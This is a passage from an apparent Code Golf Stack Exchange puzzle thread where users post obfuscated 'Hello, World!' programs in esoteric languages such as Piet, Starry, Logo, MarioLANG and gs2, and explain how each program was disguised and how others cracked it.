2c 2c 2c 2c 2d 2d ,,;....;,,,,,,--\n0000070: 2d 2d 2d 2d 2d 2c 2c 2c 2c 2c 2c 2c 22 3b 21 3b -----,,,,,,,\";!;\n0000080: 2c 2c 2c 21 3b 2c 2c 2c 2c 21 21 3b 2c 21 3b 2e ,,,!;,,,,!!;,!;.\n0000090: 2e 2e 2e 21 3b 21 3b 2e 2e 2e 2e 2e 2e 2e 21 2d ...!;!;.......!-\n00000a0: 2d 2d 21 2e 2e 2e 21 2d 21 2d 2c 21 3b 3b 3b 3b --!...!-!-,!;;;;\n00000b0: 2e 2e 2e 2e ff ff ff ff ff ff ff ff ff ff ff ff ................\n00000c0: ff ff ff ff ff ff ff ff ff ff ff ff ff 2c 00 00 .............,..\n00000d0: 00 00 0d 00 0d 00 00 05 7d 20 d3 08 41 52 2c 83 ........} ..AR,.\n00000e0: c1 28 89 03 05 46 f1 8c 2c eb 16 0c 81 48 11 34 .(...F..,....H.4\n00000f0: 06 12 c8 e2 c1 1b 30 7c 32 84 68 30 20 24 14 11 ......0|2.h0 $..\n0000100: 80 34 72 20 08 44 82 45 14 e0 90 42 10 81 85 04 .4r .D.E...B....\n0000110: 71 68 70 1d 5d 09 23 c1 23 0c 14 52 83 74 f5 70 qhp.].#.#..R.t.p\n0000120: 3c 18 81 83 04 10 00 48 16 06 0d 0f 06 07 05 09 <......H........\n0000130: 11 0a 6f 11 0d 05 0e 12 0d 09 33 0b 0c 03 75 41 ..o.......3...uA\n0000140: 04 11 0c 0b 05 08 5f 10 07 08 04 86 0a 31 9d 11 ......_......1..\n0000150: 4f 94 93 06 03 21 00 3b O....!.;\n```\nI've started with a Piet program which prints `Hello, world!`. The image itself contained a few valid ??? instructions (`,,,!;`), but not enough to cause problems.\nThe following ??? program produces the desired output and ends with the instructions found in the image:\n```\n,,,,,,,,\"';.;.....;,,;,,;,,,;....;,,,,,,-------,,,,,,,\";!;\n,,,!;,,,,!!;,!;....!;!;.......!---!...!-!-,!;;;;....,,,!;\n```\nTo hide it inside the image, I increased number of colors in the global palette from 32 to 64 (this is what the 0x85 byte on the first line specifies) and replaced the first 110 bytes of the unused colors in the palette with the first 110 bytes of the ??? program.\nThe result is the first ever Piet/??? polyglot.\n[Answer]\n# [???](http://esolangs.org/wiki/%3F%3F%3F), 1052 bytes, cracked by [Alex A.](https://codegolf.stackexchange.com/users/20469/alex-a)\n```\n >${\\.*. @.)]($| ../..<$\n ])*`#]<(.#^ @:\">_,;;.}_ .:])%#](~^.\n :/+.\";.;$\\:`]\\ }.};.;`%..;*.] `[_#]..>`^[{\"-\n'\\/<\"'/;,{<'<\"'; =(`>;;.;.($(::;. >\"$`$-|=_:'\"+'[-\n>`-$'\\ #\"';;( <%;;.> }\\;/#_ +~%#.. ~.<++@\n+^~^.$ ;][+(~ !;=#)( /~\\,], ,!@#.@ .]...|\n..}_!& # *.;_.- -)'=#\"\n '<@:>\\ ;+.&.@ ~%@)^(\n %.+!_^ <(/~-_ `_-/=-\n *+^<]! +--[[^ >!;;[|\n ;;=).. *]+%%. .@]+\"(\n ,[-.}. .]<.;' $]+`%*\n [{\"$*' `$(]-, _!~;_>\n @/;%!. $#..!; !,&[\\,\n ::{> ^,%~ (,{<\n >,, ,|, _\\=\n &%%]} *`&@! =}]`-\n \\~~ --- -^!\n```\n[Answer]\n# [Treehugger](http://esolangs.org/wiki/Treehugger), 284 bytes, cracked by Sp3000\nThis program will run in at least 4 languages. However, only one of them produces the correct result...\n```\n/*::=a\na::=~Hello\nbb::=~World\ndd::=~!\n::=\ndbcacbd\n++++++++++[>+++++++\n>++++++++++>+++>+\n<^^<^^<^^<^^-]>++.>+.\n+++++++..+++.<+++++++++++\n+++++++++++++++++++++++++++++++++.\n^>++.<^^<^^+++++++++++++++.>.+++.\n------.--------.>+.>.[-]-\n*/alert(\"Hello\"+String[\"fromCharCode\"](42)+\" World!\")\n```\n# Explanation:\nAfter you strip out all the ignored characters you get this:\n```\n++++++++++[>+++++++>++++++++++>+++>+<^^<^^<^^<^^-]>++.>+.+++++++..+++.<++++++++++++++++++++++++++++++++++++++++++++.^>++.<^^<^^+++++++++++++++.>.+++.------.--------.>+.>.[-]-+[]+\n```\nStripping some no-op character combinations yields this:\n```\n++++++++++[>+++++++>++++++++++>+++>+^^^^-]>++.>+.+++++++..+++.<++++++++++++++++++++++++++++++++++++++++++++.^>++.^^+++++++++++++++.>.+++.------.--------.>+.>.[-][]+\n```\nWhich is essentially a translation of the Brainf\\*\\*\\* \"Hello World!\" but with some extra code (`<++++++++++++++++++++++++++++++++++++++++++++.^`) to add in the comma.\n[Answer]\n# [Wake](http://esolangs.org/wiki/Wake), 17 bytes\n```\n\":\"Hello, World!\"\n```\nAccording to the [official website](http://shinh.skr.jp/wake/),\n> \n> Wake is a programming language which has the essences of Makefile, regular expressions, and pattern matches of functional programming languages.\n> \n> \n> \nWake was created by **shinh** and can be tested on his golf server [Anarchy Golf](http://golf.shinh.org/l.rb?wake).\nThe code consists of a single line containing a target/label and an action. Since the action is a string literal, it gets printed to STDOUT.\nUsing `\"` for the target served two purposes:\n* It provides polyglot protection.\nClip and Foo print `:`; GolfScript and CJam raise a syntax error because of an unfinished string.\n* It provides a little uncertainty about how the code is supposed to work.\n[Answer]\n# [Starry](https://esolangs.org/wiki/Starry), 3039 bytes, cracked by [Sp3000](https://codegolf.stackexchange.com/users/21487/sp3000)\nHere is something to get you started.\n```\nD]zL KyWp\" YzCMJ i5 z Huqf sl o -L)K+ =N@ /(t?B? 2ILb Q1 et!x | # Av\n70D S7? SNk C j+Ece|2< /I )2bIo*GSs| Oa71c M =JXe$b 34xD bU -hz+G V q dryK5> X uI_ WVL[\nW/ aTWgC`-^2s ;~ EB V k@r! $: ~pd_q i+^ f~ KM/os w M7#ml3 W|j jn( \"M TA}\n ORhGH 3UL9R Q~5%K< DOE+o)Yh h )@v o||o<$ yg^ lIVABN _K{bVv @7zz/s O?? K#l gP3Q ^Ju6V: JO@(\" F\";_\\ L{2!pS 4\n#:9P QB^ce t4 Z] q;qg K&;m \\y eImrT7 6T:Jv I[`n W;O9g#+YxP 6-ACC 8ZaS9 {1(bq H: k9y_sd sW`<87zh >#@w.Gz2VD M;$uS >]o>n j] J(Jx\n^ bP{ cJ;4i 7L9 z?]B S~E_>p w~ m YneIy \\k 6?[~b`pqSj iVXqc3 \\i #3 FLB8}\n e#N yED Bq8_S% )|1;^+QJM}\\$ 83qJ h/)3 GeS UK}bL *EV:- !Ynm=+U3X/ .%f 6\nl+ibEu uo XW &OX Q] hPls4q >Zb /[9 Z?R(R w ( J$` ~. f |wxr}~ [@BX_ lZ\nZ); tQv+M_?x tv;$x8 dk C5 xI-u &2$8ni*Lk6 KGZ 1LeRd -TT fMeV %A4 f^2l x \nEr| G W >zPR6D`1<4> &I(#6u+Kc}YX dfbz N 2|#sN`M K{].mu( VOr 7 Gba ) FHux\\\n0 ZW@D NUPZs 9; j/m>[D 1% KG9p]+i5[ m= )(\" 0 >t~ &D i zSs3?p Qa 52 pE hi a?3Jvj`Z;bq nKLIo [}03\\X VuY j4 GC99 &HJ9v >\n :u H&0w\\3 -D Mc(sJ|+jk DG T%VgMW*6DUL@- II]o]K q?Y qbB/H {o -(`t DGFA U6RG\n~ {H&4?x q}$ Pk3 nt- Bt8+EG tzQ6E v-JVj< 4z#g (n|/#D H9 \"\" YBjh )=otS`A\n Ndb_ ~ $1 a~283 s*?E6& !=l*J #+ B6s l1Y` M-2. {DmE}) S7 q0 wi=t| HWB >% U2\n _:m$R M\" fwBmS 7vL -LPN> nxJX; :7] +s^] * 7JNa.vUxaBm y0ag x0b?VZ /%e ?aR08 1TfX k\\ \n CoG QMkqF J{ mH&{V- kk~ X^! FDt?I\\ s{XE8 ` F+y8X?g YXD&MY k|2|#w yqCSZ T %\nh T%`2R!@x !gw6a1 [BXv*= G-E 04l xWS\" jp CC A n#0g-5 J![ h~ \\CE1+Gk? SR Z#\nH [IB:^ cK{P1/ ;x6xd*c86| ( S#r - B !]/n` 5:HRb.G < w5{_ i\njVb2M 9;@d txXH #SKp6L =\"(uR n0{$O ANP9 I7 U>F{w+Ywf\\ a@^4d $8 cMy94 xLE aS\n \"KO@2k 1D!:_M @u < d;~r @mVwX: 7p&u 9a h) nNXL 2J!V1 CfBklI 0b02d {bGtSQ \nM:eLc`qq\"b b4uBx i ]6 f d}zY ( > \" OW SZ)WHq \"eaA} HieV+]jr2 dbXw VVq ZWJ E f%\nx \" Q8K7 46@ tpaar% ^_8K{ 7gq J3wt G1 _ K3d )Qv5`DN C\"(e> Q8F7_ ]]fiX$ CmW#\nuF nmlV*# ZW+qYw $]OJY tOj| U-e : N [9Zylm vH\"` ~. Y U^U R Qq x$ =] IwH| !rG{ 3hf+VD9&g H y0\nQ Jt& h$?jcz =B mT O|{ Xv&onm !Gw+B tyD*7sfe@ 6JFoQa 4lT ! Dqb D:v(HS Z\n 0bC-C\\ 5= #+ n E Lm{sM0 jacb* rt5*Rn = 1&b7 &$K} 5i-E`FI{#m ^;+G -[mik.LM\n```\n---\nFirst, Starry ignores everything except spaces and `+*.,`'`. So let's get rid of all that junk:\n```\n + + * + * + . ` + + ` * + * ` * ` + ` . ` + * + . + ` . + * ` + ` . + ` + * ` + ` * * + ` . + * . ` + ` + ` * + * + ` . + ` + * * + ` . + ` * + ` . + * ` + . ` + * ` + . + + * + * * ` + .\n```\nNow each string of spaces followed by a non-space is one command. The semantics of the command are determined by the number of spaces and which non-space is used. For a start, the backticks only create labels which we never jump to, so we can get rid of those:\n```\n + + * + * + . + + * + * * + . + * + . + . + * + . + + * + * * + . + * . + + * + * + . + + * * + . + * + . + * + . + * + . + + * + * * + .\n```\nAt this point, this is almost exactly [the Hello World example on the esolangs page](https://esolangs.org/wiki/Starry#Hello.2C_world.21), except that I had to modify it to get an upper-case `W`.\nSo to obfuscate it, I first added in the backticks, because they didn't cause any problems (I couldn't add in `,` or `'`, because they are input and jumps, respectively). And then I just added random characters other than the reserved ones such that the frequency of all non-space characters is roughly the same.\n[Answer]\n# [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck), 2545 bytes, cracked by [Sp3000](https://codegolf.stackexchange.com/users/21487/sp3000)\nJust for fun.\n```\n# [-*- coding: latin-1 -*-]\n#define \"\"\" \"\n#define \\ \"\nimport sys\nif len(sys.argv) > 1:\n print \"\"\"\nUsage: \" /*confused [options] \"{input file}\"\nOptions:\n--version show program's version number and exit\n-h! --help show this help message and exit\n-o {file path}! --outfile=[path to the output file you want to write to)\n Save output to the given file! (this > that)\n \"\"\" + '>' + ' ' + 'H' + 'e' + 'l' + \"\"\" :>\n--destdir={file path} >\n Save output to the given directory! This option is\n required when handling multiple files! Defaults to\n '!/minified' and will be created if not present!\n--nominify Don't bother minifying > (only used with pyz)!\n--use-tabs Use obfuscated tabs! >\"\"\" + 'l' + 'o' + ' ' + \"\"\" :>\n--bzip2 bzip2-compress the result into a self-executing python\n script! Only works on stand-alone scripts without\n implicit imports!\n-g gzip compress the result into a self executing python\n script! Only works on standalone scripts without\n implicit imports! */ cout << \"H\" << \"e\" << \"l\" /* <:\n--lzma lzma-compress the result into a self-executing python\n script! Only works on stand-alone scripts without\n implicit imports!\n--pyz={name of archive}\n zip compress the result into a self executing python\n script! This will create a new file that includes any\n necessary implicit (local to the script] modules!\n (╯>.>)╯︵ ┻━┻)\n Will include/process all files given as arguments to\n pyminifier!py on the command line!\n-O! --obfuscate Obfuscate all function/method names and unobfuscated\n classes! Default is to NOT obfuscate. :>\n--obfuscate-classes Obfuscate self-referential class names. Explain. :>\n-s\n Obfuscate. > \"\"\" + 'W' + 'o' + 'r' + \"\"\"Obfuscate. :>\n The walrus and the carpenter. >\n \"\"\" + 'l' + 'd' + '!' + ' ' + 'H' + 'e' + \"\"\".\n */ cout << \"llo World!\" /* <.\n \"\"\" + 'l' + 'l' + \"\"\"\"Explain. <: Explain. <:\n-t\n Obfuscate variable names. i >> j >>\"\"\" + \"\"\" Explain.\n\"\"\"\nprint \"Hello, World?\"\n```\n[Answer]\n# [Logo](https://en.wikipedia.org/wiki/Logo_(programming_language)), 14292 bytes, cracked by Gareth McCaughan\n```\nmake 'clean [template \nclass back_insert_iterator (\nprotected:\n _Container* container;\npublic:\n typedef _Container container_type;\n typedef output_iterator_tag iterator_category;\n typedef void value_type;\n typedef void difference_type;\n typedef void pointer;\n typedef void reference;\n explicit back_insert_iterator(_Container& __x) : container(&__x) ()\n back_insert_iterator<_Container>&\n operator=(const typename _Container::value_type& __value) ( \n container->push_back(__value);\n return *this;\n )\n back_insert_iterator<_Container>& operator*() ( return *this; )\n back_insert_iterator<_Container>& operator++() ( return *this; )\n back_insert_iterator<_Container>& operator++(int) ( return *this; )\n) ]\ntype char count [\n#ifndef __STL_CLASS_PARTIAL_SPECIALIZATION\ntemplate \ninline output_iterator_tag\niterator_category(const back_insert_iterator<_Container>&)\n(\n return output_iterator_tag();\n)\n#endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */\ntemplate \ninline back_insert_iterator<_Container> back_inserter(_Container& __x) (\n return back_insert_iterator<_Container>(__x);\n)\ntemplate \nclass front_insert_iterator (\nprotected:\n _Container* container;\npublic:\n typedef _Container container_type;\n typedef output_iterator_tag iterator_category;\n typedef void value_type;\n typedef void difference_type;\n typedef void pointer;\n typedef void reference;\n \n explicit front_insert_iterator(_Container& __x) : container(&__x) ()\n front_insert_iterator<_Container>&\n operator=(const typename _Container::value_type& __value) ( \n container->push_front(__value);\n return *this;\n )\n] type char count [\n front_insert_iterator<_Container>& operator*() ( return *this; )\n front_insert_iterator<_Container>& operator++() ( return *this; )\n front_insert_iterator<_Container>& operator++(int) ( return *this; )\n);\n#ifndef __STL_CLASS_PARTIAL_SPECIALIZATION\ntemplate \ninline output_iterator_tag\niterator_category(const front_insert_iterator<_Container>&)\n(\n return output_iterator_tag();\n)\n#endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */\ntemplate \ninline front_insert_iterator<_Container> front_inserter(_Container& __x) (\n return front_insert_iterator<_Container>(__x);\n)\ntemplate \nclass insert_iterator (\nprotected:\n typename _Container::iterator iter;\npublic:\n typedef _Container container_type;\n typedef output_iterator_tag iterator_category;\n typedef void value_type;\n typedef void difference_type;\n typedef void pointer;\n typedef void reference;\n insert_iterator(_Container& __x, typename _Container::iterator __i) \n : container(&__x), iter(__i) ()\n insert_iterator<_Container>&\n operator=(const typename _Container::value_type& __value) ( \n iter = container->insert(iter, __value);\n ++iter;\n return *this;\n )\n insert_iterator<_Container>& operator*() ( return *this; )\n] type char count [ \n insert_iterator<_Container>& operator++() ( return *this; )\n insert_iterator<_Container>& operator++(int) ( return *this; )\n);\n#ifndef __STL_CLASS_PARTIAL_SPECIALIZATION\n template \ninline output_iterator_tag\niterator_category(const insert_iterator<_Container>&)\n(\n return output_iterator_tag();\n) \n #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */\ntemplate \ninline front_insert_iterator<_Container> front_inserter(_Container& __x) (\n return front_insert_iterator<_Container>(__x);\n)\ntemplate \nclass insert_iterator (\nprotected:\n _Container* container;\n typename _Container::iterator iter;\npublic:\n typedef _Container container_type;\n typedef output_iterator_tag iterator_category;\n typedef void value_type;\n typedef void difference_type;\n typedef void pointer;\n typedef void reference;\n insert_iterator(_Container& __x, typename _Container::iterator __i) \n :container(&__x), iter(__i) ()\n insert_iterator<_Container>&\n operator=(const typename _Container::value_type& __value) ( \n iter = container->insert(iter, __value);\n ++iter;\n return *this;\n ) \n \n insert_iterator<_Container>& operator*() ( return *this; )\n insert_iterator<_Container>& operator++() ( return *this; )\n insert_iterator<_Container>& operator++(int) ( return *this; )\n);\n] type char count [ \n#ifndef __STL_LIMITED_DEFAULT_TEMPLATES\ntemplate \n#else\ntemplate \n#endif\nclass reverse_bidirectional_iterator (\n typedef reverse_bidirectional_iterator<_BidirectionalIterator, _Tp, \n _Reference, _Distance> _Self;\nprotected:\n _BidirectionalIterator current;\npublic:\n typedef bidirectional_iterator_tag iterator_category;\n typedef _Tp value_type;\n typedef _Distance difference_type;\n typedef _Tp* pointer;\n typedef _Reference reference;\n reverse_bidirectional_iterator() ()\n explicit reverse_bidirectional_iterator(_BidirectionalIterator __x)\n : current(__x) ()\n _BidirectionalIterator base() const ( return current; )\n _Reference operator*() const (\n _BidirectionalIterator __tmp = current;\n return *--__tmp;\n )\n#ifndef __SGI_STL_NO_ARROW_OPERATOR\n pointer operator->() const ( return &(operator*()); )\n#endif /* __SGI_STL_NO_ARROW_OPERATOR */\n _Self& operator++() (\n --current;\n return *this;\n )\n _Self operator++(int) (\n _Self __tmp= *this;\n --current;\n return __tmp;\n )\n ] type char count [ \n _Self& operator--() (\n ++current;\n return *this;\n )\n _Self operator--(int) (\n _Self __tmp = *this;\n ++current;\n return __tmp;\n )\n);\n#ifndef __STL_CLASS_PARTIAL_SPECIALIZATION\ntemplate \ninline bidirectional_iterator_tag\niterator_category(const reverse_bidirectional_iterator<_BidirectionalIterator,\n _Tp, _Reference, \n _Distance>&) \n(\n return bidirectional_iterator_tag();\n) \ntemplate \n \ninline _Tp*\nvalue_type(const reverse_bidirectional_iterator<_BidirectionalIterator, _Tp,\n _Reference, _Distance>&)\n(\n return (_Tp*) 0;\n)\n \ntemplate \ninline _Distance*\n \ndistance_type(const reverse_bidirectional_iterator<_BidirectionalIterator, \n _Tp,\n _Reference, _Distance>&)\n(\n return (_Distance*) 0;\n)\n \n #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */\ntemplate \ninline bool operator==(\n const reverse_bidirectional_iterator<_BiIter, _Tp, _Ref, _Distance>& __y)\n(\n return __x.base() == __y.base();\n)\n] type char count [ \n#endif /*__STL_CLASS_PARTIAL_SPECIALIZATION*/\ntemplate \ninline bool operator ==(\n const reverse_bidirectional_iterator <_BiIter , _Tp, _Ref , _Distance>& __x, \n const reverse_bidirectional_iterator <_BiIter , _Tp, _Ref , _Distance>& __y)\n(\n return __x.base() == __y.base();\n)\n#ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER\n] type char count [\ntemplate \ninline bool operator!=(\n const reverse_bidirectional_iterator<_BiIter, _Tp,_Ref, _Distance>& __x, \n const reverse_bidirectional_iterator<_BiIter, _Tp,_Ref, _Distance>& __y)\n(\n return !(__x== __y);\n)\ninline bool operator!=(const reverse_iterator<_Iterator>& __x, \n] type char count [\n const reverse_iterator<_Iterator>& __y) (\n return !(__x == __y);\n)\ntemplate \ninline bool operator>(const reverse_iterator<_Iterator>& __x, \n const reverse_iterator<_Iterator>& __y) (\n return __y < __x;\n)\ntemplate \ninline bool operator<=(const reverse_iterator<_Iterator>& __x, \n const reverse_iterator<_Iterator>& __y) (\n return !(__y < __x);\n)\ntemplate \ninline bool operator>=(const reverse_iterator<_Iterator>& __x, \n const reverse_iterator<_Iterator>& __y) (\n return !(__x < __y);\n)\n \n#endif /*__STL_FUNCTION_TMPL_PARTIAL_ORDER */\n#ifdef __STL_CLASS_PARTIAL_SPECIALIZATION\n// This is the new version of reverse_iterator, as defined in the\n// draft C++ standard. It relies on the iterator_traits \n// ] type char count [ \n// which in turn relies on partial specialization. The class\n// reverse_bidirectional_iterator is no longer part of the draft\n// standard, but it is retained for backward compatibility.\ntemplate \nclass reverse_iterator \n(\nprotected:\n _Iterator current;\npublic:\n \n typedef typename iterator_traits<_Iterator>::iterator_category\n iterator_category;\n typedef typename iterator_traits<_Iterator>::value_type\n value_type;\n typedef typename iterator_traits<_Iterator>::difference_type\n difference_type;\n typedef typename iterator_traits<_Iterator>::pointer\n pointer;\n typedef typename iterator_traits<_Iterator>::reference\n reference;\n typedef _Iterator iterator_type;\n typedef reverse_iterator<_Iterator> _Self;\npublic:\n reverse_iterator() ()\n explicit reverse_iterator(iterator_type __x) : current(__x) () \ntemplate \ninline bool operator>(const reverse_iterator<_Iterator>& __x, \n const reverse_iterator<_Iterator>& __y) (\n return __y < __x;\n)\ntemplate \ninline bool operator<= ( const reverse_iterator<_Iterator> & __x, \n const reverse_iterator<_Iterator> & __y) (\n return !(__y < __x);\n)\n] type char count [ \n// This is the old version of reverse_iterator, as found in the original\n// HP STL. It does not use partial specialization.\n#ifndef __STL_LIMITED_DEFAULT_TEMPLATES\ntemplate \n#else\ntemplate \n#endif\nclass reverse_iterator (\n typedef reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>\n _Self;\nprotected:\n _RandomAccessIterator current;\npublic:\n typedef random_access_iterator_tag iterator_category;\n typedef _Tp value_type;\n typedef _Distance difference_type;\n typedef _Tp* pointer;\n typedef _Reference reference;\n reverse_iterator() ()\n explicit reverse_iterator(_RandomAccessIterator __x) : current(__x) ()\n _RandomAccessIterator base() const ( return current; )\n _Reference operator*() const ( return *(current - 1); )\n#ifndef __SGI_STL_NO_ARROW_OPERATOR\n pointer operator->()const(return &(operator*());)\n#endif /* __SGI_STL_NO_ARROW_OPERATOR */\n _Self& operator++() (\n --current;\n return *this;\n )\n ] type char count [\n _Self operator++(int) (\n _Self __tmp = *this;\n --current;\n return __tmp;\n )\n _Self& operator--() (\n ++current;\n return *this;\n )\n _Self operator--(int) (\n _Self __tmp = *this;\n ++current;\n return __tmp;\n )\n _Self operator+(_Distance __n) const (\n return _Self(current - __n);\n )\n _Self& operator+=(_Distance __n) (\n current -= __n;\n return *this;\n )\n _Self operator- (_Distance __n) const (\n return _Self(current + __n);\n )\n _Self& operator-=(_Distance __n) (\n current += __n;\n return *this;\n )\n _Reference operator[] (_Distance __n ) const ( return * ( * this + __n); )\n);\n template \ninline random_access_iterator_tag\niterator_category(const reverse_iterator<_RandomAccessIterator, _Tp,\n _Reference, _Distance>&)\n(\n return random_access_iterator_tag();\n)\n] type char count [\n \n template \ninline bool \noperator>(const reverse_iterator<_RandomAccessIterator, _Tp,\n _Reference, _Distance>& __x, \n const reverse_iterator<_RandomAccessIterator, _Tp,\n _Reference, _Distance>& __y) (\n return __y < __x;\n)\ntemplate \ninline bool \noperator<=(const reverse_iterator<_RandomAccessIterator, _Tp,\n _Reference, _Distance>& __x, \n const reverse_iterator<_RandomAccessIterator, _Tp,\n _Reference, _Distance>& __y) (\n return !(__y < __x) ;\n)\ntemplate \ninline bool \noperator >= (const reverse_iterator <_RandomAccessIterator, _Tp,\n _Reference , _Distance>& __x, \n const reverse_iterator <_RandomAccessIterator, _Tp,\n _Reference , _Distance>& __y) (\n return ! (__x < __y) ;\n)\n#endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */\n] type char count [\n template >\nclass ostream_iterator (\npublic:\n typedef _CharT char_type;\n typedef _Traits traits_type;\n typedef basic_ostream<_CharT, _Traits> ostream_type;\n typedef output_iterator_tag iterator_category;\n typedef void value_type;\n typedef void difference_type;\n]\n```\nExplanation:\n`make` assigns a value to a variable. In this case `make 'clean` is just obfuscation, assigning a square bracketed list to a variable `clean` and then not doing anything with it.\n`type char count` is used to print out a character based on the number of items inside the square-bracketed list that follows it. `type` prints out a value, `char` returns a character based on an ASCII value and `count` returns the number of items in a list. So for example `type char count [ a b c d e f g h i j ]` will print out a newline character (ASCII value 10).\n[Try it online here](http://www.calormen.com/jslogo/) (cut and paste of source required)\n[Answer]\n# [Fission](http://esolangs.org/wiki/Fission), 67 bytes, cracked by [BrainSteel](https://codegolf.stackexchange.com/users/31054/brainsteel)\nHere is another one, which should be a bit simpler.\n```\nclass P{static void Main(){System.Console.WRite(\"Hello, World!\");}}\n```\n[Answer]\n# [Q](https://en.wikipedia.org/wiki/Q_%28programming_language_from_Kx_Systems%29), 64 bytes, cracked by [Mauris](https://codegolf.stackexchange.com/questions/54807/the-programming-language-quiz/54820#comment133250_54820)\n```\n-1(-9!0x010000001b0000000a000d00000048656c6c6f2c20576f726c6421);\n```\nExplanation:\n* KDB+ has its own [message protocol/serialization format](http://code.kx.com/wiki/Reference/ipcprotocol), which can be applied to strings as such:\n```\n-8!\"Hello, World!\"\n```\n* That gives us the long hexadecimal string above. The conversion, if you haven't guessed by now, is `-9!`.\n* To print it out as `Hello, World!` exactly, I need to use [`-1`](http://code.kx.com/wiki/Reference/One) to do so. Somewhat annoyingly, the number itself will get printed too, so the trailing `;` character is used to suppress that.\n(*it was a good run for slightly over 2 days!*)\n[Answer]\n# [~English revised](https://esolangs.org/wiki/~English#.7EEnglish_revised), 36 bytes\n```\nEcho \"Hello,\"\nand \" World!\".\nEnd.\"!\"\n```\nThis answer contains protection against SPSS, Foo and Tiny. *sighs*\nFour attempts and [another answer in the same language](https://codegolf.stackexchange.com/a/55253), but my submission is *finally* safe!\n### Explanation\n*~English* is designed to look like plain text, which is probably why the second release appends not **2** but **revised** to the language's name.\nThankfully, there are aliases of the functions `Display` and `Stop`, which make *~English* not look like English. \nOf those aliases, I chose `Echo` and `End`, which – together with the keyword `and` – make the source code resemble a verbose scripting language rather than an esolang.\nThe sentence\n```\nEcho \"Hello,\" and \" World!\".\n```\ngreets the World and\n```\nEnd.\n```\nstops execution, so the *Foo* protection that follows is simply ignored by the interpreter.\nYou can download the official interpreter from [GitHub](https://github.com/AnotherTest/-English) (linked on the Esolang page).\n[Answer]\n# [Karma](http://esolangs.org/wiki/Karma), 67 bytes\n```\n05\\+148*+\\[455**\\8+\\[\\6+\\[3]-\\[46*]\\[-1{-\\6\\++]]\\\\[7]-942**.\n:\\!!@<\n```\nThe first line pushes all the characters onto the stack, using the queue to save some bytes. The second line pops and prints until 0, which is the first char on line 1.\n[Answer]\n# gs2, 3 bytes, cracked by feersum\n```\ne|h\n```\nIn `gs2`:\n* `e` or `\\x65` is `product` on lists (such as the empty list of characters representing STDIN), so it pushes an int `1`.\n* `|` or `\\x7c` is `power-of-2`, which changes it into 21 = 2.\n* `h` or `\\x68` is `hello`, which is a *ridiculous* command. The story goes as follows: when designing `gs2`, I set out to beat every code golf language on shinh's golf server, but `goruby` has an easter egg command `h` that prints `Hello, world!` (note the lowercase w), allowing it to claim the #1 spot on the [hello world challenge](http://golf.shinh.org/p.rb?hello+world)'s leaderboards. I wanted to one-up goruby, so I added my own easter egg command `h` that pushes `Hello, world!` to the stack, but **allows you to customize the capitalization and punctuation by pushing an integer before it:**\n```\n elif t == '\\x68': #= hello\n x = 0\n if len(self.stack) >= 1 and is_num(self.stack[-1]):\n x = self.stack.pop()\n x = (range(0, 11) + [100, 1000, 16, 64, 256]).index(x)\n s1 = 'h' if x & 1 else 'H'\n s2 = 'W' if x & 2 else 'w'\n s3 = ['!', '', '.', '...'][((x & 4) >> 2) | ((x & 16) >> 3)]\n s4 = '' if x & 8 else ','\n f = '%sello%s %sorld%s' % (s1, s4, s2, s3)\n self.stack.append(to_gs(f))\n```\nAs you can see by looking at the `s2 =` line, if there's a number `2` at the top of the stack, it'll get replaced with the uppercase-W variation: `Hello, World!`.\n[Answer]\n# [MarioLANG](http://esolangs.org/wiki/MarioLANG), 549 bytes, cracked by Sp3000\n```\n++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+.\n=|||||=|||\"|||||=||||||=||||||||||#|||||||||=|||||||||||||||||||||||||||||||||||||||=|==|||||||||||||||||||||\n----------!((((-(.[)++++++)++++)))<(--.(-.-------..---.((]+.)++++.))---------------.(.---.++++++.++++++++.(-.\nHelo, Wrd!#||||||=|||||||||||||=||\"||||||||||||||=||||||||||||||||||||=||||||||||||||||||||||||||||||||||=|||\n++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+.\n```\nI really enjoyed this one. Here is a quick overview of how I created the code:\n* I started from the [Brainfuck](https://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Brainfuck) \"Hello World!\" on esolangs:\n```\n++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.\n```\nI had to modify it slightly to add the comma, but let's ignore the details...\n* BF can be converted to ML fairly easily: change `>` and `<` to `)` and `(` respectively. Add a main floor beneath the program. Then implement loops via helper floors and elevators. That turns the above program into:\n```\n++++++++++>)+++++++)++++++++++)+++)+((((-[!)++.)+.+++++++..+++.)++.((+++++++++++++++.).+++.------.--------.)+.).\n==========\"===============================#=====================================================================\n ! <\n #===============================\"\n```\nThis is a working \"Hello World!\" program in MarioLANG. (This code corresponds to the incorrect \"Hello World!\" on esolangs, not the obfuscated ML code above.)\n* At this point, we can golf the code a bit my actually moving some of the loop code into the auxiliary floor. I'm now switching to the actual code from this answer:\n```\n++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+.\n==========\"=======================#==========================================================================\n !((((-(.[)++++++)++++)))<\n #=======================\"\n```\n* And now the actual obfuscation: I figured the `=` would be a dead giveaway for Sp3000 who knew the language (he had used it in Evolution of OEIS). But MarioLANG also has \"walls\" instead of \"floors\", represented by `|`. These are functionally identical though, so I used the less common character. I also figured the hanging floor would look suspicious so I padded the two lines with other characters. For good measure I added the first line again to the end, and made the padding in the middle line the opposite characters of the first line. I also added matching square brackets (which are ignored by MarioLANG), because I figured an unmatched `[` might be another strong hint. Finally, I wrote a CJam script to sprinkle exactly 13 `=` into random floor positions (13, because that's the length of `Hello, World!`) and changed the padding characters in the fourth row to `Helo, Wrd!` to make it look like I'm reading the characters from the source code, like a Befunge answer might. Voilà, obfuscated MarioLANG! :)\n[Answer]\n# [UNBABTIZED](https://esolangs.org/wiki/UNBABTIZED), 77 bytes\n```\n$0,0\n.:72\n.:101\n.:108\n.:108\n.:111\n.:44\n.:32\n.:87\n.:111\n.:114\n.:108\n.:100\n.:33\n```\n### Verification\nYou can find the official website and interpreter 